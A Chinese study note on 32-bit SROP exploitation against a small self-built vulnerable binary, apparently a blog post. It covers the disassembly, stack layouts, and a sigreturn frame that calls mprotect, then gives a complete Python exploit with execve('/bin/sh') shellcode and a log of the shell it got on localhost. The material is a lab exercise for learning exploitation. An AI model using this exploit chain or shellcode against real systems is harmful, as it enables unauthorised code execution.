SROP 32位--Fun with SROP Exploitation

概述

本文是這篇文章的筆記:

Fun with SROP Exploitation

https://v0ids3curity.blogspot.jp/2015/06/fun-with-srop-exploitation.html

 

環境:Ubuntu 16.04

程序

nasm -felf32 vuln_s.asm

ld vuln_s.o -melf_i386 -o vuln_s

 

millionsky@ubuntu-16:~/tmp$ gdb ./vuln_s

 

(gdb) shell objdump -d vuln_s

 

vuln_s:     文件格式 elf32-i386

 

Disassembly of section .text:

 

08048060 <vuln>:

 8048060:       83 ec 08                sub    $0x8,%esp

 8048063:       b8 03 00 00 00          mov    $0x3,%eax

 8048068:       31 db                   xor    %ebx,%ebx

 804806a:       89 e1                   mov    %esp,%ecx

 804806c:       ba 00 04 00 00          mov    $0x400,%edx

 8048071:       cd 80                   int    $0x80

 8048073:       83 c4 08                add    $0x8,%esp

 8048076:       c3                      ret    

 

08048077 <_start>:

 8048077:       e8 e4 ff ff ff          call   8048060 <vuln>

 804807c:       31 c0                   xor    %eax,%eax

 804807e:       40                      inc    %eax

 804807f:       cd 80                   int    $0x80

EXP

3.1 思路

主要思路

1. Read返回值控制EAX,設置爲sigreturn的系統調用號0x77

2. 棧溢出,Sigreturn執行mprotect系統調用

3. Mprotect將text段設置爲RWX

4. 調用漏洞函數

5. 棧溢出,執行shellcode

 

關鍵點

l read返回值控制EAX,從而控制系統調用號;

l sigreturn可以將棧指向ELF header

l sigretrun可以設置EIP指向INT_80和相應的寄存器,從而執行mprotect;

mprotect將.text段設置爲RWX

l ELF header + 0x18的地方爲程序入口,即_start;

棧設置在這裏,配合ret指令可以讓程序重新執行_start;

3.2 實施過程

1. 執行sigreturn系統調用

/*for x86*/

    mov eax,0x77

    int 80h

 

l 棧溢出,覆蓋返回地址指向INT_80 = 0x08048071;

l EAX的控制:發送0x77個字節,read返回後EAX即爲0x77 

 

EIP: 0x08048076 <vuln+22>:        ret  
NOTE: read讀取0x77個字節,執行完

 

char buf[8]

AAAAAAAA

 

Return addr
addr_of_int_0x80

0x08048071 <vuln+17>:        int    $0x80
<=RSP

 

Signal Frame

0x40098

 

PAD

 

 

0x0a

 

 

2. mprotect修改.text權限爲RWX

mprotect(0x08048000, 0x1000, 7)

mov eax, 125

mov ebx, 0x08048000

mov ecx, 0x1000

mov edx, 7

int 0x80h

l 棧溢出時僞造Signal Frame;

l Signal Frame中通過指定EIP、EAX、EBX、ECX、EDX,調用mprotect系統調用;EIP指向INT_80 = 0x08048071;

l Signal Frame中指定EBP爲ELF heder,也即.text

 

EIP: 0x08048077 <_start+0>:       call   0x8048060 <vuln>
NOTE: mprotect執行完畢,
      並執行了0x08048076 <vuln+22>:        ret

 

 0x00030002      

0x8048010
ELF header+0x10

 

 0x00000001      

 

 

 0x08048077      

_start

 

 

0x804801c
<=RSP

 

3. 執行_start

l Signal Frame中指定ESP爲ELF heder+0x10

l mprotect執行後,EIP指向0x8048073, 如下

 8048071:       cd 80                   int    $0x80

 8048073:       83 c4 08                add    $0x8,%esp

 8048076:       c3                      ret    

(gdb) x/8wx 0x8048000

0x8048000:      0x464c457f      0x00010101      0x00000000      0x00000000

0x8048010:      0x00030002      0x00000001      0x08048077      0x00000034

l ELF header + 0x18的地方爲程序入口,即_start

l 執行add和ret指令後程序會繼續執行_start

 

EIP: 0x08048071 <vuln+17>:        int    $0x80  
NOTE: read執行前

 0x8048010

char buf[8]

<=RSP

 0x8048018

Return addr
addr_of_exit
0x0804807c

 

 

4. 執行shellcode

Read時將shellcode讀入棧中;

覆蓋返回地址指向shellcode的開始;

EIP: 0x08048073 <vuln+19>:        add    $0x8,%esp  
NOTE: read執行完

 0x8048010

char buf[8]

PAD

<=RSP
AAAAAAAA

 0x8048018

Return addr
addr_of_shellcode


0x804802C

 0x804801C

NOP Slot

0x90*16

 0x804802C

shellcode

 

 

0x0a

 

 

注意:

l shellcode不能用到.text上面的棧空間,即0x08048000之前的空間;

不夠用的話需要調整ESP的值;

l 這裏使用的shellcode用到了5個push,從0x804801C開始,最終會到達0x8048008,不需要調整;

這裏的NOP Slot可以不要,即返回地址直接設置爲0x0804801C;

3.3 EXP

#!/usr/bin/env python

 

import struct

import telnetlib

from Frame import SigreturnFrame

 

ip = '127.0.0.1'

port = 8888

page_text_segment = 0x08048000

INT_80 = 0x08048071

SYS_MPROTECT = 125

shellcode=("\x31\xc9\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51"

"\x53\x89\xe1\x99\xb0\x0b\xcd\x80")

shellcode_addr=0x0804801c

 

con = telnetlib.Telnet(ip, port)

 

frame = SigreturnFrame(arch="x86")

frame.set_regvalue("eax", SYS_MPROTECT)

frame.set_regvalue("ebx", page_text_segment)

frame.set_regvalue("ecx", 0x1000)

frame.set_regvalue("edx", 0x7)

frame.set_regvalue("ebp", page_text_segment)

frame.set_regvalue("eip", INT_80)

frame.set_regvalue("esp", page_text_segment+16) # points into ELF header, setting it up as fake frame

frame.set_regvalue("cs", 0x23)

frame.set_regvalue("ss", 0x2b)

frame.set_regvalue("ds", 0x2b)

frame.set_regvalue("es", 0x2b)

frame.set_regvalue("fs", 0x0)

frame.set_regvalue("gs", 0x0)

 

payload = "A" * 8

payload += struct.pack("<I", INT_80) # Overwrite Saved EIP

payload += frame.get_frame()

payload += "A" * (0x77 - len(payload) - 1) # read SIGRETURN number of bytes

con.write(payload + chr(0xa))

 

# shellcode includes NOP + DUP + stack fix + execve('/bin/sh')

payload2 = "A" * 8

payload2 += struct.pack("<I", shellcode_addr)

payload2 += shellcode

payload2 += chr(0xa)

 

con.write(payload2)

con.interact()

 

millionsky@ubuntu-16:~/tmp/SROP$ ulimit -c unlimited;nc.traditional -vvv -e ./vuln_s -l -p 8888

listening on [any] 8888 ...

connect to [127.0.0.1] from localhost [127.0.0.1] 59804

millionsky@ubuntu-16:~/tmp/SROP$ python sploit.py

whoami

millionsky

ls

Frame.py

Frame.pyc

code.tar.gz

makefile

readme.txt

sploit.py

vuln_s

vuln_s.asm

vuln_s.o

exit

*** Connection closed by remote host ***

 

測試中的問題

1. Sigreturn

剛開始測試的時候掛了,調試發現mprotect沒有成功,但是sigreturn將寄存器設置成功了。然後查找資料,以爲是PaX的mprotect restriction,操作系統限制了對代碼段的權限修改。後來發現Ubuntu上沒有這個限制。最後GDB調試,獲得segment selector register本身的值,包括cs、ss、ds、es、fs、gs,在signal frame中設置爲相應的值就好了。

5 結論

l 練習了32位SROP

l read返回值控制EAX,從而控制系統調用號;

l sigreturn可以將棧指向ELF header

l sigretrun可以設置EIP指向INT_80和相應的寄存器,從而執行mprotect;

mprotect將.text段設置爲RWX

l ELF header + 0x18的地方爲程序入口,即_start;

棧設置在這裏,配合ret指令可以讓程序重新執行_start;

參考文章

1. Fun with SROP Exploitation

https://v0ids3curity.blogspot.jp/2015/06/fun-with-srop-exploitation.html

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章